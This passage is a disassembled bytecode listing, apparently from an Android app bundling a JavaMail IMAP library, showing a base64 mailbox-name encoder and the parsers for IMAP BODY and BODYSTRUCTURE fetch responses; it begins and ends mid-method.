00000010 move-result-object v4
00000012 array-length v5, v4
00000014 new-instance v6, CharArrayWriter
00000018 invoke-direct CharArrayWriter-><init>(I)V, v6, v5
0000001E move v3, v0
:20
00000020 if-lt v3, v5, :3C
:24
00000024 if-eqz v2, :2E
:28
00000028 invoke-virtual BASE64MailboxEncoder->flush()V, v2
:2E
0000002E if-eqz v0, :3A
:32
00000032 invoke-virtual CharArrayWriter->toString()String, v6
00000038 move-result-object p0
:3A
0000003A return-object p0
:3C
0000003C aget-char v7, v4, v3
00000040 const/16 v8, 0x20
00000044 if-lt v7, v8, :7E
:48
00000048 const/16 v8, 0x7E
0000004C if-gt v7, v8, :7E
:50
00000050 if-eqz v2, :5A
:54
00000054 invoke-virtual BASE64MailboxEncoder->flush()V, v2
:5A
0000005A if-ne v7, v9, :76
:5E
0000005E invoke-virtual CharArrayWriter->write(I)V, v6, v9
00000064 const/16 v0, 0x2D
00000068 invoke-virtual CharArrayWriter->write(I)V, v6, v0
0000006E move v0, v1
:70
00000070 add-int/lit8 v3, v3, 0x1
00000074 goto :20
:76
00000076 invoke-virtual CharArrayWriter->write(I)V, v6, v7
0000007C goto :70
:7E
0000007E if-nez v2, :90
:82
00000082 new-instance v0, BASE64MailboxEncoder
00000086 invoke-direct BASE64MailboxEncoder-><init>(Writer)V, v0, v6
0000008C move-object v2, v0
0000008E move v0, v1
:90
00000090 invoke-virtual BASE64MailboxEncoder->write(I)V, v2, v7
00000096 goto :70
.end method
.method protected encode()V
.registers 8
00000000 const/4 v3, 0x2
00000002 const/4 v2, 0x1
00000004 const/4 v6, 0x0
00000006 iget v0, p0, BASE64MailboxEncoder->bufsize:I
0000000A if-ne v0, v2, :50
:E
0000000E iget-object v0, p0, BASE64MailboxEncoder->buffer:[B
00000012 aget-byte v0, v0, v6
00000016 iget-object v1, p0, BASE64MailboxEncoder->out:Writer
0000001A sget-object v2, BASE64MailboxEncoder->pem_array:[C
0000001E ushr-int/lit8 v3, v0, 0x2
00000022 and-int/lit8 v3, v3, 0x3F
00000026 aget-char v2, v2, v3
0000002A invoke-virtual Writer->write(I)V, v1, v2
00000030 iget-object v1, p0, BASE64MailboxEncoder->out:Writer
00000034 sget-object v2, BASE64MailboxEncoder->pem_array:[C
00000038 shl-int/lit8 v0, v0, 0x4
0000003C and-int/lit8 v0, v0, 0x30
00000040 add-int/lit8 v0, v0, 0x0
00000044 aget-char v0, v2, v0
00000048 invoke-virtual Writer->write(I)V, v1, v0
:4E
0000004E return-void
:50
00000050 iget v0, p0, BASE64MailboxEncoder->bufsize:I
00000054 if-ne v0, v3, :C6
:58
00000058 iget-object v0, p0, BASE64MailboxEncoder->buffer:[B
0000005C aget-byte v0, v0, v6
00000060 iget-object v1, p0, BASE64MailboxEncoder->buffer:[B
00000064 aget-byte v1, v1, v2
00000068 iget-object v2, p0, BASE64MailboxEncoder->out:Writer
0000006C sget-object v3, BASE64MailboxEncoder->pem_array:[C
00000070 ushr-int/lit8 v4, v0, 0x2
00000074 and-int/lit8 v4, v4, 0x3F
00000078 aget-char v3, v3, v4
0000007C invoke-virtual Writer->write(I)V, v2, v3
00000082 iget-object v2, p0, BASE64MailboxEncoder->out:Writer
00000086 sget-object v3, BASE64MailboxEncoder->pem_array:[C
0000008A shl-int/lit8 v0, v0, 0x4
0000008E and-int/lit8 v0, v0, 0x30
00000092 ushr-int/lit8 v4, v1, 0x4
00000096 and-int/lit8 v4, v4, 0xF
0000009A add-int/2addr v0, v4
0000009C aget-char v0, v3, v0
000000A0 invoke-virtual Writer->write(I)V, v2, v0
000000A6 iget-object v0, p0, BASE64MailboxEncoder->out:Writer
000000AA sget-object v2, BASE64MailboxEncoder->pem_array:[C
000000AE shl-int/lit8 v1, v1, 0x2
000000B2 and-int/lit8 v1, v1, 0x3C
000000B6 add-int/lit8 v1, v1, 0x0
000000BA aget-char v1, v2, v1
000000BE invoke-virtual Writer->write(I)V, v0, v1
000000C4 goto :4E
:C6
000000C6 iget-object v0, p0, BASE64MailboxEncoder->buffer:[B
000000CA aget-byte v0, v0, v6
000000CE iget-object v1, p0, BASE64MailboxEncoder->buffer:[B
000000D2 aget-byte v1, v1, v2
000000D6 iget-object v2, p0, BASE64MailboxEncoder->buffer:[B
000000DA aget-byte v2, v2, v3
000000DE iget-object v3, p0, BASE64MailboxEncoder->out:Writer
000000E2 sget-object v4, BASE64MailboxEncoder->pem_array:[C
000000E6 ushr-int/lit8 v5, v0, 0x2
000000EA and-int/lit8 v5, v5, 0x3F
000000EE aget-char v4, v4, v5
000000F2 invoke-virtual Writer->write(I)V, v3, v4
000000F8 iget-object v3, p0, BASE64MailboxEncoder->out:Writer
000000FC sget-object v4, BASE64MailboxEncoder->pem_array:[C
00000100 shl-int/lit8 v0, v0, 0x4
00000104 and-int/lit8 v0, v0, 0x30
00000108 ushr-int/lit8 v5, v1, 0x4
0000010C and-int/lit8 v5, v5, 0xF
00000110 add-int/2addr v0, v5
00000112 aget-char v0, v4, v0
00000116 invoke-virtual Writer->write(I)V, v3, v0
0000011C iget-object v0, p0, BASE64MailboxEncoder->out:Writer
00000120 sget-object v3, BASE64MailboxEncoder->pem_array:[C
00000124 shl-int/lit8 v1, v1, 0x2
00000128 and-int/lit8 v1, v1, 0x3C
0000012C ushr-int/lit8 v4, v2, 0x6
00000130 and-int/lit8 v4, v4, 0x3
00000134 add-int/2addr v1, v4
00000136 aget-char v1, v3, v1
0000013A invoke-virtual Writer->write(I)V, v0, v1
00000140 iget-object v0, p0, BASE64MailboxEncoder->out:Writer
00000144 sget-object v1, BASE64MailboxEncoder->pem_array:[C
00000148 and-int/lit8 v2, v2, 0x3F
0000014C aget-char v1, v1, v2
00000150 invoke-virtual Writer->write(I)V, v0, v1
00000156 iget v0, p0, BASE64MailboxEncoder->bufsize:I
0000015A const/4 v1, 0x4
0000015C if-ne v0, v1, :4E
:160
00000160 iget-object v0, p0, BASE64MailboxEncoder->buffer:[B
00000164 iget-object v1, p0, BASE64MailboxEncoder->buffer:[B
00000168 const/4 v2, 0x3
0000016A aget-byte v1, v1, v2
0000016E aput-byte v1, v0, v6
00000172 goto/16 :4E
.end method
.method public flush()V
.registers 3
00000000 iget v0, p0, BASE64MailboxEncoder->bufsize:I
00000004 if-lez v0, :14
:8
00000008 invoke-virtual BASE64MailboxEncoder->encode()V, p0
0000000E const/4 v0, 0x0
00000010 iput v0, p0, BASE64MailboxEncoder->bufsize:I
:14
00000014 iget-boolean v0, p0, BASE64MailboxEncoder->started:Z
00000018 if-eqz v0, :30
:1C
0000001C iget-object v0, p0, BASE64MailboxEncoder->out:Writer
00000020 const/16 v1, 0x2D
00000024 invoke-virtual Writer->write(I)V, v0, v1
0000002A const/4 v0, 0x0
0000002C iput-boolean v0, p0, BASE64MailboxEncoder->started:Z
:30
00000030 return-void
:32
00000032 move-exception v0
00000034 goto :30
.catch IOException {:0 .. :30} :32
.end method
.method public write(I)V
.registers 5
00000000 iget-boolean v0, p0, BASE64MailboxEncoder->started:Z
00000004 if-nez v0, :1C
:8
00000008 const/4 v0, 0x1
0000000A iput-boolean v0, p0, BASE64MailboxEncoder->started:Z
0000000E iget-object v0, p0, BASE64MailboxEncoder->out:Writer
00000012 const/16 v1, 0x26
00000016 invoke-virtual Writer->write(I)V, v0, v1
:1C
0000001C iget-object v0, p0, BASE64MailboxEncoder->buffer:[B
00000020 iget v1, p0, BASE64MailboxEncoder->bufsize:I
00000024 add-int/lit8 v2, v1, 0x1
00000028 iput v2, p0, BASE64MailboxEncoder->bufsize:I
0000002C shr-int/lit8 v2, p1, 0x8
00000030 int-to-byte v2, v2
00000032 aput-byte v2, v0, v1
00000036 iget-object v0, p0, BASE64MailboxEncoder->buffer:[B
0000003A iget v1, p0, BASE64MailboxEncoder->bufsize:I
0000003E add-int/lit8 v2, v1, 0x1
00000042 iput v2, p0, BASE64MailboxEncoder->bufsize:I
00000046 and-int/lit16 v2, p1, 0xFF
0000004A int-to-byte v2, v2
0000004C aput-byte v2, v0, v1
00000050 iget v0, p0, BASE64MailboxEncoder->bufsize:I
00000054 const/4 v1, 0x3
00000056 if-lt v0, v1, :6C
:5A
0000005A invoke-virtual BASE64MailboxEncoder->encode()V, p0
00000060 iget v0, p0, BASE64MailboxEncoder->bufsize:I
00000064 add-int/lit8 v0, v0, 0xFFFFFFFFFFFFFFFD
00000068 iput v0, p0, BASE64MailboxEncoder->bufsize:I
:6C
0000006C return-void
:6E
0000006E move-exception v0
00000070 goto :6C
.catch IOException {:0 .. :6C} :6E
.end method
#--------------------------------------------------------------------------------
.class public abstract interface Item
.super Object
.source ""
#--------------------------------------------------------------------------------
.class public BODY
.super Object
.source ""
.implements Item
.field static final name:[C
.field public data:ByteArray
.field public msgno:I
.field public origin:I
.field public section:String
.method static constructor <clinit>()V
.registers 1
00000000 const/4 v0, 0x4
00000002 new-array v0, v0, [C
00000006 fill-array-data v0, :14
0000000C sput-object v0, BODY->name:[C
00000010 return-void
00000014 .array-data 2 x 0x4
0x42
0x4F
0x44
0x59
.end array-data
.end method
.method public constructor <init>(FetchResponse)V
.registers 4
00000000 invoke-direct Object-><init>()V, p0
00000006 const/4 v0, 0x0
00000008 iput v0, p0, BODY->origin:I
0000000C invoke-virtual FetchResponse->getNumber()I, p1
00000012 move-result v0
00000014 iput v0, p0, BODY->msgno:I
00000018 invoke-virtual FetchResponse->skipSpaces()V, p1
:1E
0000001E invoke-virtual FetchResponse->readByte()B, p1
00000024 move-result v0
00000026 const/16 v1, 0x5D
0000002A if-ne v0, v1, :60
:2E
0000002E invoke-virtual FetchResponse->readByte()B, p1
00000034 move-result v0
00000036 const/16 v1, 0x3C
0000003A if-ne v0, v1, :52
:3E
0000003E invoke-virtual FetchResponse->readNumber()I, p1
00000044 move-result v0
00000046 iput v0, p0, BODY->origin:I
0000004A const/4 v0, 0x1
0000004C invoke-virtual FetchResponse->skip(I)V, p1, v0
:52
00000052 invoke-virtual FetchResponse->readByteArray()ByteArray, p1
00000058 move-result-object v0
0000005A iput-object v0, p0, BODY->data:ByteArray
0000005E return-void
:60
00000060 if-nez v0, :1E
:64
00000064 new-instance v0, ParsingException
00000068 const-string v1, "BODY parse error: missing ``]\'\' at section end"
0000006C invoke-direct ParsingException-><init>(String)V, v0, v1
00000072 throw v0
.end method
.method public getByteArray()ByteArray
.registers 2
00000000 iget-object v0, p0, BODY->data:ByteArray
00000004 return-object v0
.end method
.method public getByteArrayInputStream()ByteArrayInputStream
.registers 2
00000000 iget-object v0, p0, BODY->data:ByteArray
00000004 if-eqz v0, :16
:8
00000008 iget-object v0, p0, BODY->data:ByteArray
0000000C invoke-virtual ByteArray->toByteArrayInputStream()ByteArrayInputStream, v0
00000012 move-result-object v0
:14
00000014 return-object v0
:16
00000016 const/4 v0, 0x0
00000018 goto :14
.end method
#--------------------------------------------------------------------------------
.class public BODYSTRUCTURE
.super Object
.source ""
.implements Item
.field private static MULTI:I
.field private static NESTED:I
.field private static SINGLE:I
.field static final name:[C
.field private static parseDebug:Z
.field public attachment:String
.field public bodies:[BODYSTRUCTURE
.field public cParams:ParameterList
.field public dParams:ParameterList
.field public description:String
.field public disposition:String
.field public encoding:String
.field public envelope:ENVELOPE
.field public id:String
.field public language:[String
.field public lines:I
.field public md5:String
.field public msgno:I
.field private processedType:I
.field public size:I
.field public subtype:String
.field public type:String
.method static constructor <clinit>()V
.registers 4
00000000 const/4 v0, 0x1
00000002 const/4 v1, 0x0
00000004 const/16 v2, 0xD
00000008 new-array v2, v2, [C
0000000C fill-array-data v2, :58
00000012 sput-object v2, BODYSTRUCTURE->name:[C
00000016 sput v0, BODYSTRUCTURE->SINGLE:I
0000001A const/4 v2, 0x2
0000001C sput v2, BODYSTRUCTURE->MULTI:I
00000020 const/4 v2, 0x3
00000022 sput v2, BODYSTRUCTURE->NESTED:I
00000026 sput-boolean v1, BODYSTRUCTURE->parseDebug:Z
:2A
0000002A const-string v2, "mail.imap.parse.debug"
0000002E invoke-static System->getProperty(String)String, v2
00000034 move-result-object v2
00000036 if-eqz v2, :50
:3A
0000003A const-string v3, "true"
0000003E invoke-virtual String->equalsIgnoreCase(String)Z, v2, v3
00000044 move-result v2
00000046 if-eqz v2, :50
:4A
0000004A sput-boolean v0, BODYSTRUCTURE->parseDebug:Z
:4E
0000004E return-void
:50
00000050 move v0, v1
00000052 goto :4A
:54
00000054 move-exception v0
00000056 goto :4E
.catch SecurityException {:2A .. :4E} :54
00000058 .array-data 2 x 0xD
0x42
0x4F
0x44
0x59
0x53
0x54
0x52
0x55
0x43
0x54
0x55
0x52
0x45
.end array-data
.end method
.method public constructor <init>(FetchResponse)V
.registers 10
00000000 const/16 v7, 0x20
00000004 const/4 v6, 0x0
00000006 const/4 v5, 0x1
00000008 const/16 v4, 0x28
0000000C const/16 v3, 0x29
00000010 invoke-direct Object-><init>()V, p0
00000016 const/4 v0, 0xFFFFFFFFFFFFFFFF
00000018 iput v0, p0, BODYSTRUCTURE->lines:I
0000001C const/4 v0, 0xFFFFFFFFFFFFFFFF
0000001E iput v0, p0, BODYSTRUCTURE->size:I
00000022 sget-boolean v0, BODYSTRUCTURE->parseDebug:Z
00000026 if-eqz v0, :38
:2A
0000002A sget-object v0, System->out:PrintStream
0000002E const-string v1, "DEBUG IMAP: parsing BODYSTRUCTURE"
00000032 invoke-virtual PrintStream->println(String)V, v0, v1
:38
00000038 invoke-virtual FetchResponse->getNumber()I, p1
0000003E move-result v0
00000040 iput v0, p0, BODYSTRUCTURE->msgno:I
00000044 sget-boolean v0, BODYSTRUCTURE->parseDebug:Z
00000048 if-eqz v0, :78
:4C
0000004C sget-object v0, System->out:PrintStream
00000050 new-instance v1, StringBuilder
00000054 const-string v2, "DEBUG IMAP: msgno "
00000058 invoke-direct StringBuilder-><init>(String)V, v1, v2
0000005E iget v2, p0, BODYSTRUCTURE->msgno:I
00000062 invoke-virtual StringBuilder->append(I)StringBuilder, v1, v2
00000068 move-result-object v1
0000006A invoke-virtual StringBuilder->toString()String, v1
00000070 move-result-object v1
00000072 invoke-virtual PrintStream->println(String)V, v0, v1
:78
00000078 invoke-virtual FetchResponse->skipSpaces()V, p1
0000007E invoke-virtual FetchResponse->readByte()B, p1
00000084 move-result v0
00000086 if-eq v0, v4, :9A
:8A
0000008A new-instance v0, ParsingException
0000008E const-string v1, "BODYSTRUCTURE parse error: missing ``(\'\' at start"
00000092 invoke-direct ParsingException-><init>(String)V, v0, v1
00000098 throw v0
:9A
0000009A invoke-virtual FetchResponse->peekByte()B, p1
000000A0 move-result v0
000000A2 if-ne v0, v4, :3D8
:A6
000000A6 sget-boolean v0, BODYSTRUCTURE->parseDebug:Z
000000AA if-eqz v0, :BC
:AE
000000AE sget-object v0, System->out:PrintStream
000000B2 const-string v1, "DEBUG IMAP: parsing multipart"
000000B6 invoke-virtual PrintStream->println(String)V, v0, v1
:BC
000000BC const-string v0, "multipart"
000000C0 iput-object v0, p0, BODYSTRUCTURE->type:String
000000C4 sget v0, BODYSTRUCTURE->MULTI:I
000000C8 iput v0, p0, BODYSTRUCTURE->processedType:I
000000CC new-instance v0, Vector
000000D0 invoke-direct Vector-><init>(I)V, v0, v5
:D6
000000D6 new-instance v1, BODYSTRUCTURE
000000DA invoke-direct BODYSTRUCTURE-><init>(FetchResponse)V, v1, p1
000000E0 invoke-virtual Vector->addElement(Object)V, v0, v1
000000E6 invoke-virtual FetchResponse->skipSpaces()V, p1
000000EC invoke-virtual FetchResponse->peekByte()B, p1
000000F2 move-result v1
000000F4 if-eq v1, v4, :D6
:F8
000000F8 invoke-virtual Vector->size()I, v0
000000FE move-result v1
00000100 new-array v1, v1, [BODYSTRUCTURE
00000104 iput-object v1, p0, BODYSTRUCTURE->bodies:[BODYSTRUCTURE
00000108 iget-object v1, p0, BODYSTRUCTURE->bodies:[BODYSTRUCTURE
0000010C invoke-virtual Vector->copyInto([Object)V, v0, v1
00000112 invoke-virtual FetchResponse->readString()String, p1
00000118 move-result-object v0
0000011A iput-object v0, p0, BODYSTRUCTURE->subtype:String
0000011E sget-boolean v0, BODYSTRUCTURE->parseDebug:Z
00000122 if-eqz v0, :152
:126
00000126 sget-object v0, System->out:PrintStream
0000012A new-instance v1, StringBuilder
0000012E const-string v2, "DEBUG IMAP: subtype "
00000132 invoke-direct StringBuilder-><init>(String)V, v1, v2
00000138 iget-object v2, p0, BODYSTRUCTURE->subtype:String
0000013C invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000142 move-result-object v1
00000144 invoke-virtual StringBuilder->toString()String, v1
0000014A move-result-object v1
0000014C invoke-virtual PrintStream->println(String)V, v0, v1
:152
00000152 invoke-virtual FetchResponse->readByte()B, p1
00000158 move-result v0
0000015A if-ne v0, v3, :176
:15E
0000015E sget-boolean v0, BODYSTRUCTURE->parseDebug:Z
00000162 if-eqz v0, :174
:166
00000166 sget-object v0, System->out:PrintStream
0000016A const-string v1, "DEBUG IMAP: parse DONE"
0000016E invoke-virtual PrintStream->println(String)V, v0, v1
:174
00000174 return-void
:176
00000176 sget-boolean v0, BODYSTRUCTURE->parseDebug:Z
0000017A if-eqz v0, :18C
:17E
0000017E sget-object v0, System->out:PrintStream
00000182 const-string v1, "DEBUG IMAP: parsing extension data"
00000186 invoke-virtual PrintStream->println(String)V, v0, v1
:18C
0000018C invoke-direct BODYSTRUCTURE->parseParameters(Response)ParameterList, p0, p1
00000192 move-result-object v0
00000194 iput-object v0, p0, BODYSTRUCTURE->cParams:ParameterList
00000198 invoke-virtual FetchResponse->readByte()B, p1
0000019E move-result v0
000001A0 if-ne v0, v3, :1BC
:1A4
000001A4 sget-boolean v0, BODYSTRUCTURE->parseDebug:Z
000001A8 if-eqz v0, :174
:1AC
000001AC sget-object v0, System->out:PrintStream
000001B0 const-string v1, "DEBUG IMAP: body parameters DONE"
000001B4 invoke-virtual PrintStream->println(String)V, v0, v1
000001BA goto :174
:1BC
000001BC invoke-virtual FetchResponse->readByte()B, p1
000001C2 move-result v0
000001C4 if-ne v0, v4, :282
:1C8
000001C8 sget-boolean v0, BODYSTRUCTURE->parseDebug:Z
000001CC if-eqz v0, :1DE
:1D0
000001D0 sget-object v0, System->out:PrintStream
000001D4 const-string v1, "DEBUG IMAP: parse disposition"
000001D8 invoke-virtual PrintStream->println(String)V, v0, v1
:1DE
000001DE invoke-virtual FetchResponse->readString()String, p1
000001E4 move-result-object v0
000001E6 iput-object v0, p0, BODYSTRUCTURE->disposition:String
000001EA sget-boolean v0, BODYSTRUCTURE->parseDebug:Z
000001EE if-eqz v0, :21E
:1F2
000001F2 sget-object v0, System->out:PrintStream
000001F6 new-instance v1, StringBuilder
000001FA const-string v2, "DEBUG IMAP: disposition "
000001FE invoke-direct StringBuilder-><init>(String)V, v1, v2
00000204 iget-object v2, p0, BODYSTRUCTURE->disposition:String
00000208 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
0000020E move-result-object v1
00000210 invoke-virtual StringBuilder->toString()String, v1
00000216 move-result-object v1
00000218 invoke-virtual PrintStream->println(String)V, v0, v1
:21E
0000021E invoke-direct BODYSTRUCTURE->parseParameters(Response)ParameterList, p0, p1
00000224 move-result-object v0
00000226 iput-object v0, p0, BODYSTRUCTURE->dParams:ParameterList
0000022A invoke-virtual FetchResponse->readByte()B, p1
00000230 move-result v0
00000232 if-eq v0, v3, :246
:236
00000236 new-instance v0, ParsingException
0000023A const-string v1, "BODYSTRUCTURE parse error: missing ``)\'\' at end of disposition in multipart"
0000023E invoke-direct ParsingException-><init>(String)V, v0, v1
00000244 throw v0
:246
00000246 sget-boolean v0, BODYSTRUCTURE->parseDebug:Z
0000024A if-eqz v0, :25C
:24E
0000024E sget-object v0, System->out:PrintStream
00000252 const-string v1, "DEBUG IMAP: disposition DONE"
00000256 invoke-virtual PrintStream->println(String)V, v0, v1
:25C
0000025C invoke-virtual FetchResponse->readByte()B, p1
00000262 move-result v0
00000264 if-ne v0, v3, :318
:268
00000268 sget-boolean v0, BODYSTRUCTURE->parseDebug:Z
0000026C if-eqz v0, :174
:270
00000270 sget-object v0, System->out:PrintStream
00000274 const-string v1, "DEBUG IMAP: no body-fld-lang"
00000278 invoke-virtual PrintStream->println(String)V, v0, v1
0000027E goto/16 :174
:282
00000282 const/16 v1, 0x4E
00000286 if-eq v0, v1, :292
:28A
0000028A const/16 v1, 0x6E
0000028E if-ne v0, v1, :2B2
:292
00000292 sget-boolean v0, BODYSTRUCTURE->parseDebug:Z
00000296 if-eqz v0, :2A8
:29A
0000029A sget-object v0, System->out:PrintStream
0000029E const-string v1, "DEBUG IMAP: disposition NIL"
000002A2 invoke-virtual PrintStream->println(String)V, v0, v1
:2A8
000002A8 const/4 v0, 0x2
000002AA invoke-virtual FetchResponse->skip(I)V, p1, v0
000002B0 goto :25C
:2B2
000002B2 new-instance v1, ParsingException
000002B6 new-instance v2, StringBuilder
000002BA const-string v3, "BODYSTRUCTURE parse error: "
000002BE invoke-direct StringBuilder-><init>(String)V, v2, v3
000002C4 iget-object v3, p0, BODYSTRUCTURE->type:String
000002C8 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
000002CE move-result-object v2
000002D0 const-string v3, "/"
000002D4 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
000002DA move-result-object v2
000002DC iget-object v3, p0, BODYSTRUCTURE->subtype:String
000002E0 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
000002E6 move-result-object v2
000002E8 const-string v3, ": "
000002EC invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
000002F2 move-result-object v2
000002F4 const-string v3, "bad multipart disposition, b "
000002F8 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v3
000002FE move-result-object v2
00000300 invoke-virtual StringBuilder->append(I)StringBuilder, v2, v0
00000306 move-result-object v0
00000308 invoke-virtual StringBuilder->toString()String, v0
0000030E move-result-object v0
00000310 invoke-direct ParsingException-><init>(String)V, v1, v0
00000316 throw v1
:318
00000318 if-eq v0, v7, :32C
:31C
0000031C new-instance v0, ParsingException
00000320 const-string v1, "BODYSTRUCTURE parse error: missing space after disposition"
00000324 invoke-direct ParsingException-><init>(String)V, v0, v1
0000032A throw v0
:32C
0000032C invoke-virtual FetchResponse->peekByte()B, p1
00000332 move-result v0
00000334 if-ne v0, v4, :38E
:338
00000338 invoke-virtual FetchResponse->readStringList()[String, p1
0000033E move-result-object v0
00000340 iput-object v0, p0, BODYSTRUCTURE->language:[String
00000344 sget-boolean v0, BODYSTRUCTURE->parseDebug:Z
00000348 if-eqz v0, :37A
:34C
0000034C sget-object v0, System->out:PrintStream
00000350 new-instance v1, StringBuilder
00000354 const-string v2, "DEBUG IMAP: language len "
00000358 invoke-direct StringBuilder-><init>(String)V, v1, v2
0000035E iget-object v2, p0, BODYSTRUCTURE->language:[String
00000362 array-length v2, v2
00000364 invoke-virtual StringBuilder->append(I)StringBuilder, v1, v2
0000036A move-result-object v1
0000036C invoke-virtual StringBuilder->toString()String, v1
00000372 move-result-object v1
00000374 invoke-virtual PrintStream->println(String)V, v0, v1
:37A
0000037A invoke-virtual FetchResponse->readByte()B, p1
00000380 move-result v0
00000382 if-ne v0, v7, :174
:386
00000386 invoke-direct BODYSTRUCTURE->parseBodyExtension(Response)V, p0, p1
0000038C goto :37A
:38E
0000038E invoke-virtual FetchResponse->readString()String, p1
00000394 move-result-object v0
00000396 if-eqz v0, :37A
:39A
0000039A new-array v1, v5, [String
0000039E aput-object v0, v1, v6
000003A2 iput-object v1, p0, BODYSTRUCTURE->language:[String
000003A6 sget-boolean v1, BODYSTRUCTURE->parseDebug:Z
000003AA if-eqz v1, :37A
:3AE
000003AE sget-object v1, System->out:PrintStream
000003B2 new-instance v2, StringBuilder
000003B6 const-string v3, "DEBUG IMAP: language "
000003BA invoke-direct StringBuilder-><init>(String)V, v2, v3
000003C0 invoke-virtual StringBuilder->append(String)StringBuilder, v2, v0
000003C6 move-result-object v0
000003C8 invoke-virtual StringBuilder->toString()String, v0
000003CE move-result-object v0
000003D0 invoke-virtual PrintStream->println(String)V, v1, v0
000003D6 goto :37A
:3D8
000003D8 sget-boolean v0, BODYSTRUCTURE->parseDebug:Z
000003DC if-eqz v0, :3EE
:3E0
000003E0 sget-object v0, System->out:PrintStream
000003E4 const-string v1, "DEBUG IMAP: single part"
000003E8 invoke-virtual PrintStream->println(String)V, v0, v1
:3EE
000003EE invoke-virtual FetchResponse->readString()String, p1
000003F4 move-result-object v0
000003F6 iput-object v0, p0, BODYSTRUCTURE->type:String
000003FA sget-boolean v0, BODYSTRUCTURE->parseDebug:Z
000003FE if-eqz v0, :42E
:402
00000402 sget-object v0, System->out:PrintStream
00000406 new-instance v1, StringBuilder
0000040A const-string v2, "DEBUG IMAP: type "
0000040E invoke-direct StringBuilder-><init>(String)V, v1, v2
00000414 iget-object v2, p0, BODYSTRUCTURE->type:String
00000418 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
0000041E move-result-object v1
00000420 invoke-virtual StringBuilder->toString()String, v1
00000426 move-result-object v1
00000428 invoke-virtual PrintStream->println(String)V, v0, v1
:42E
0000042E sget v0, BODYSTRUCTURE->SINGLE:I
00000432 iput v0, p0, BODYSTRUCTURE->processedType:I
00000436 invoke-virtual FetchResponse->readString()String, p1
0000043C move-result-object v0
0000043E iput-object v0, p0, BODYSTRUCTURE->subtype:String
00000442 sget-boolean v0, BODYSTRUCTURE->parseDebug:Z
00000446 if-eqz v0, :476
:44A
0000044A sget-object v0, System->out:PrintStream
0000044E new-instance v1, StringBuilder
00000452 const-string v2, "DEBUG IMAP: subtype "
00000456 invoke-direct StringBuilder-><init>(String)V, v1, v2
0000045C iget-object v2, p0, BODYSTRUCTURE->subtype:String
00000460 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
00000466 move-result-object v1
00000468 invoke-virtual StringBuilder->toString()String, v1
0000046E move-result-object v1
00000470 invoke-virtual PrintStream->println(String)V, v0, v1
:476
00000476 iget-object v0, p0, BODYSTRUCTURE->type:String
0000047A if-nez v0, :48E
:47E
0000047E const-string v0, "application"
00000482 iput-object v0, p0, BODYSTRUCTURE->type:String
00000486 const-string v0, "octet-stream"
0000048A iput-object v0, p0, BODYSTRUCTURE->subtype:String
:48E
0000048E invoke-direct BODYSTRUCTURE->parseParameters(Response)ParameterList, p0, p1
00000494 move-result-object v0
00000496 iput-object v0, p0, BODYSTRUCTURE->cParams:ParameterList
0000049A sget-boolean v0, BODYSTRUCTURE->parseDebug:Z
0000049E if-eqz v0, :4CE
:4A2
000004A2 sget-object v0, System->out:PrintStream
000004A6 new-instance v1, StringBuilder
000004AA const-string v2, "DEBUG IMAP: cParams "
000004AE invoke-direct StringBuilder-><init>(String)V, v1, v2
000004B4 iget-object v2, p0, BODYSTRUCTURE->cParams:ParameterList
000004B8 invoke-virtual StringBuilder->append(Object)StringBuilder, v1, v2
000004BE move-result-object v1
000004C0 invoke-virtual StringBuilder->toString()String, v1
000004C6 move-result-object v1
000004C8 invoke-virtual PrintStream->println(String)V, v0, v1
:4CE
000004CE invoke-virtual FetchResponse->readString()String, p1
000004D4 move-result-object v0
000004D6 iput-object v0, p0, BODYSTRUCTURE->id:String
000004DA sget-boolean v0, BODYSTRUCTURE->parseDebug:Z
000004DE if-eqz v0, :50E
:4E2
000004E2 sget-object v0, System->out:PrintStream
000004E6 new-instance v1, StringBuilder
000004EA const-string v2, "DEBUG IMAP: id "
000004EE invoke-direct StringBuilder-><init>(String)V, v1, v2
000004F4 iget-object v2, p0, BODYSTRUCTURE->id:String
000004F8 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
000004FE move-result-object v1
00000500 invoke-virtual StringBuilder->toString()String, v1
00000506 move-result-object v1
00000508 invoke-virtual PrintStream->println(String)V, v0, v1
:50E
0000050E invoke-virtual FetchResponse->readString()String, p1
00000514 move-result-object v0
00000516 iput-object v0, p0, BODYSTRUCTURE->description:String
0000051A sget-boolean v0, BODYSTRUCTURE->parseDebug:Z
0000051E if-eqz v0, :54E
:522
00000522 sget-object v0, System->out:PrintStream
00000526 new-instance v1, StringBuilder
0000052A const-string v2, "DEBUG IMAP: description "
0000052E invoke-direct StringBuilder-><init>(String)V, v1, v2
00000534 iget-object v2, p0, BODYSTRUCTURE->description:String
00000538 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
0000053E move-result-object v1
00000540 invoke-virtual StringBuilder->toString()String, v1
00000546 move-result-object v1
00000548 invoke-virtual PrintStream->println(String)V, v0, v1
:54E
0000054E invoke-virtual FetchResponse->readString()String, p1
00000554 move-result-object v0
00000556 iput-object v0, p0, BODYSTRUCTURE->encoding:String
0000055A sget-boolean v0, BODYSTRUCTURE->parseDebug:Z
0000055E if-eqz v0, :58E
:562
00000562 sget-object v0, System->out:PrintStream
00000566 new-instance v1, StringBuilder
0000056A const-string v2, "DEBUG IMAP: encoding "
0000056E invoke-direct StringBuilder-><init>(String)V, v1, v2
00000574 iget-object v2, p0, BODYSTRUCTURE->encoding:String
00000578 invoke-virtual StringBuilder->append(String)StringBuilder, v1, v2
0000057E move-result-object v1
00000580 invoke-virtual StringBuilder->toString()String, v1
00000586 move-result-object v1
00000588 invoke-virtual PrintStream->println(String)V, v0, v1
:58E
0000058E invoke-virtual FetchResponse->readNumber()I, p1
00000594 move-result v0
00000596 iput v0, p0, BODYSTRUCTURE->size:I
0000059A sget-boolean v0, BODYSTRUCTURE->parseDebug:Z
0000059E if-eqz v0, :5CE
:5A2
000005A2 sget-object v0, System->out:PrintStream
000005A6 new-instance v1, StringBuilder
000005AA const-string v2, "DEBUG IMAP: size "
000005AE invoke-direct StringBuilder-><init>(String)V, v1, v2
000005B4 iget v2, p0, BODYSTRUCTURE->size:I
